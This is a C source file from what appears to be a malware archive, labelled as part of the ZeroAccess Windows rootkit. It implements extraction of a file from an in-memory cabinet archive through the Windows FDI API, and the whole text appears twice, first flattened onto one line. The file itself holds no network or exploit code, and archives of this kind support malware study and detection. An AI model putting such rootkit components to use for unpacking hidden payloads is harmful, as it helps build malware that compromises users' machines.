/* name ZeroAccess type rootkit cve — year unknown os Windows authors unknown source RamadhanAmizudin/malware archived RamadhanAmizudin, krisyotam (2026) notes — *//********************************************************************************* (C) COPYRIGHT AUTHORS, 2016** TITLE: CAB.C** VERSION: 1.00** DATE: 18 Jan 2016** ZeroAccess cabinet extraction from memory buffer.** THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A* PARTICULAR PURPOSE.********************************************************************************/ #include "global.h"#include "cab.h" #pragma comment(lib, "cabinet.lib")static CABDATA g_CabParam; /** fdiAlloc** Purpose:** Callback function to allocate memory.**/void* DIAMONDAPI fdiAlloc( ULONG cb ){ return LocalAlloc(LPTR, cb);} /** fdiFree** Purpose:** Callback function to free previously allocated memory.**/void DIAMONDAPI fdiFree( void HUGE *pv ){ if (pv) { LocalFree(pv); }} /** fdiClose** Purpose:** Callback function to release memory allocated for file memory stream.**/int DIAMONDAPI fdiClose( CABDATA *hf ){ LocalFree((HLOCAL)hf); return 0;} /** fdiOpen** Purpose:** Callback function to create a memory stream.**/INT_PTR DIAMONDAPI fdiOpen( LPSTR pszFile, int oflag, int pmode ){ CABDATA *Data = NULL; CABDATA *param; ULONG_PTR value; UNREFERENCED_PARAMETER(oflag); UNREFERENCED_PARAMETER(pmode); #ifdef _WIN64 value = strtou64_a(pszFile);#else value = strtoul_a(pszFile);#endif param = (CABDATA *)value; Data = (CABDATA*)LocalAlloc(LPTR, sizeof(CABDATA)); if (Data) { Data->Buffer = param->Buffer; Data->Size = param->Size; Data->Offset = 0; } return (INT_PTR)Data;} /** fdiRead** Purpose:** Callback function to read from memory stream.**/UINT DIAMONDAPI fdiRead( CABDATA *Data, void FAR *pv, UINT cb ){ UINT bytesToRead = cb; if (cb >= (UINT)(Data->Size - Data->Offset)) bytesToRead = Data->Size - Data->Offset; memcpy(pv, &Data->Buffer[Data->Offset], bytesToRead); Data->Offset += bytesToRead; return bytesToRead;} /** fdiWrite** Purpose:** Callback function to write to the memory stream.**/UINT fdiWrite( CABDATA *Data, void FAR *pv, UINT cb ){ if ((LONG)(Data->Offset + cb) <= Data->Size) { memcpy(&Data->Buffer[Data->Offset], pv, cb); Data->Offset += cb; } else { return 0; } return cb;} /** fdiSeek** Purpose:** Callback function to seek in memory stream.**/long fdiSeek( CABDATA *Data, long dist, int seektype ){ LONG pos = 0; if (seektype) { if (seektype != SEEK_CUR) { return -1; } pos = dist + Data->Offset; } else { pos = dist; } if (pos > Data->Size) return -1; Data->Offset = pos; return pos;} /** fdiNotify** Purpose:** Callback notification function to update the application on the status of the decoder.**/INT_PTR DIAMONDAPI fdiNotify(FDINOTIFICATIONTYPE fdint, PFDINOTIFICATION pfdin){ INT_PTR Result = 0; CABDATA *Data, *ReturnData = NULL; LPSTR LookupFileName; LONG Size; switch (fdint) { case fdintCOPY_FILE: if (pfdin->pv == NULL) break; Data = (CABDATA *)pfdin->pv; LookupFileName = (LPSTR)&Data->Size; Size = pfdin->cb; if (_strcmpi_a(LookupFileName, pfdin->psz1) == 0) { ReturnData = LocalAlloc(LPTR, sizeof(CABDATA)); if (ReturnData) { ReturnData->Buffer = LocalAlloc(LPTR, pfdin->cb); if (ReturnData->Buffer == NULL) { LocalFree(ReturnData); ReturnData = NULL; } else { ReturnData->Offset = 0; ReturnData->Size = pfdin->cb; Data->Buffer = ReturnData->Buffer; Data->Size = ReturnData->Size; } return (INT_PTR)ReturnData; } } break; case fdintCLOSE_FILE_INFO: //release ReturnedInfo LocalFree((HLOCAL)pfdin->hf); Result = 1; break; default: break; } return Result;} /** SfcabExtractMemory** Purpose:** Process cabinet file in memory and extract it contents.** On success returned buffer must be deallocated with LocalFree after usage.**/PVOID SfcabExtractMemory( PVOID CabPtr, ULONG CabSize, PULONG ExtractedBytes ){ HFDI hfdi; ERF erf; CHAR text[32]; CHAR name[1]; PVOID Buffer = NULL; CABDATA Data; if (ExtractedBytes == NULL) return NULL; __try { RtlSecureZeroMemory(&erf, sizeof(ERF)); hfdi = FDICreate((PFNALLOC)fdiAlloc, (PFNFREE)fdiFree, (PFNOPEN)fdiOpen, (PFNREAD)fdiRead, (PFNWRITE)fdiWrite, (PFNCLOSE)fdiClose, (PFNSEEK)fdiSeek, cpu80386, &erf); if (hfdi) { g_CabParam.Buffer = CabPtr; g_CabParam.Size = CabSize; g_CabParam.Offset = 0; RtlSecureZeroMemory(&text, sizeof(text));#ifdef _WIN64 u64tostr_a((ULONG_PTR)&g_CabParam, text);#else ultostr_a((ULONG_PTR)&g_CabParam, text);#endif name[0] = 0; Data.Size = '_'; Data.Buffer = NULL; Data.Offset = 0; if (FDICopy(hfdi, name, text, 0, fdiNotify, 0, &Data)) { Buffer = Data.Buffer; *ExtractedBytes = Data.Size; } FDIDestroy(hfdi); } } __except (EXCEPTION_EXECUTE_HANDLER) { return NULL; } return Buffer;}
/*
name ZeroAccess
type rootkit
cve —
year unknown
os Windows
authors unknown
source RamadhanAmizudin/malware
archived RamadhanAmizudin, krisyotam (2026)
notes —
*/
/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2016
*
* TITLE: CAB.C
*
* VERSION: 1.00
*
* DATE: 18 Jan 2016
*
* ZeroAccess cabinet extraction from memory buffer.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
#include "cab.h"
#pragma comment(lib, "cabinet.lib")
static CABDATA g_CabParam;
/*
* fdiAlloc
*
* Purpose:
*
* Callback function to allocate memory.
*
*/
void* DIAMONDAPI fdiAlloc(
ULONG cb
)
{
return LocalAlloc(LPTR, cb);
}
/*
* fdiFree
*
* Purpose:
*
* Callback function to free previously allocated memory.
*
*/
void DIAMONDAPI fdiFree(
void HUGE *pv
)
{
if (pv) {
LocalFree(pv);
}
}
/*
* fdiClose
*
* Purpose:
*
* Callback function to release memory allocated for file memory stream.
*
*/
int DIAMONDAPI fdiClose(
CABDATA *hf
)
{
LocalFree((HLOCAL)hf);
return 0;
}
/*
* fdiOpen
*
* Purpose:
*
* Callback function to create a memory stream.
*
*/
INT_PTR DIAMONDAPI fdiOpen(
LPSTR pszFile,
int oflag,
int pmode
)
{
CABDATA *Data = NULL;
CABDATA *param;
ULONG_PTR value;
UNREFERENCED_PARAMETER(oflag);
UNREFERENCED_PARAMETER(pmode);
#ifdef _WIN64
value = strtou64_a(pszFile);
#else
value = strtoul_a(pszFile);
#endif
param = (CABDATA *)value;
Data = (CABDATA*)LocalAlloc(LPTR, sizeof(CABDATA));
if (Data) {
Data->Buffer = param->Buffer;
Data->Size = param->Size;
Data->Offset = 0;
}
return (INT_PTR)Data;
}
/*
* fdiRead
*
* Purpose:
*
* Callback function to read from memory stream.
*
*/
UINT DIAMONDAPI fdiRead(
CABDATA *Data,
void FAR *pv,
UINT cb
)
{
UINT bytesToRead = cb;
if (cb >= (UINT)(Data->Size - Data->Offset))
bytesToRead = Data->Size - Data->Offset;
memcpy(pv, &Data->Buffer[Data->Offset], bytesToRead);
Data->Offset += bytesToRead;
return bytesToRead;
}
/*
* fdiWrite
*
* Purpose:
*
* Callback function to write to the memory stream.
*
*/
UINT fdiWrite(
CABDATA *Data,
void FAR *pv,
UINT cb
)
{
if ((LONG)(Data->Offset + cb) <= Data->Size) {
memcpy(&Data->Buffer[Data->Offset], pv, cb);
Data->Offset += cb;
}
else {
return 0;
}
return cb;
}
/*
* fdiSeek
*
* Purpose:
*
* Callback function to seek in memory stream.
*
*/
long fdiSeek(
CABDATA *Data,
long dist,
int seektype
)
{
LONG pos = 0;
if (seektype) {
if (seektype != SEEK_CUR) {
return -1;
}
pos = dist + Data->Offset;
}
else
{
pos = dist;
}
if (pos > Data->Size)
return -1;
Data->Offset = pos;
return pos;
}
/*
* fdiNotify
*
* Purpose:
*
* Callback notification function to update the application on the status of the decoder.
*
*/
INT_PTR DIAMONDAPI fdiNotify(FDINOTIFICATIONTYPE fdint, PFDINOTIFICATION pfdin)
{
INT_PTR Result = 0;
CABDATA *Data, *ReturnData = NULL;
LPSTR LookupFileName;
LONG Size;
switch (fdint) {
case fdintCOPY_FILE:
if (pfdin->pv == NULL)
break;
Data = (CABDATA *)pfdin->pv;
LookupFileName = (LPSTR)&Data->Size;
Size = pfdin->cb;
if (_strcmpi_a(LookupFileName, pfdin->psz1) == 0) {
ReturnData = LocalAlloc(LPTR, sizeof(CABDATA));
if (ReturnData) {
ReturnData->Buffer = LocalAlloc(LPTR, pfdin->cb);
if (ReturnData->Buffer == NULL) {
LocalFree(ReturnData);
ReturnData = NULL;
}
else {
ReturnData->Offset = 0;
ReturnData->Size = pfdin->cb;
Data->Buffer = ReturnData->Buffer;
Data->Size = ReturnData->Size;
}
return (INT_PTR)ReturnData;
}
}
break;
case fdintCLOSE_FILE_INFO: //release ReturnedInfo
LocalFree((HLOCAL)pfdin->hf);
Result = 1;
break;
default:
break;
}
return Result;
}
/*
* SfcabExtractMemory
*
* Purpose:
*
* Process cabinet file in memory and extract it contents.
*
* On success returned buffer must be deallocated with LocalFree after usage.
*
*/
PVOID SfcabExtractMemory(
PVOID CabPtr,
ULONG CabSize,
PULONG ExtractedBytes
)
{
HFDI hfdi;
ERF erf;
CHAR text[32];
CHAR name[1];
PVOID Buffer = NULL;
CABDATA Data;
if (ExtractedBytes == NULL)
return NULL;
__try {
RtlSecureZeroMemory(&erf, sizeof(ERF));
hfdi = FDICreate((PFNALLOC)fdiAlloc, (PFNFREE)fdiFree, (PFNOPEN)fdiOpen, (PFNREAD)fdiRead,
(PFNWRITE)fdiWrite, (PFNCLOSE)fdiClose, (PFNSEEK)fdiSeek, cpu80386, &erf);
if (hfdi) {
g_CabParam.Buffer = CabPtr;
g_CabParam.Size = CabSize;
g_CabParam.Offset = 0;
RtlSecureZeroMemory(&text, sizeof(text));
#ifdef _WIN64
u64tostr_a((ULONG_PTR)&g_CabParam, text);
#else
ultostr_a((ULONG_PTR)&g_CabParam, text);
#endif
name[0] = 0;
Data.Size = '_';
Data.Buffer = NULL;
Data.Offset = 0;
if (FDICopy(hfdi, name, text, 0, fdiNotify, 0, &Data)) {
Buffer = Data.Buffer;
*ExtractedBytes = Data.Size;
}
FDIDestroy(hfdi);
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
return NULL;
}
return Buffer;
}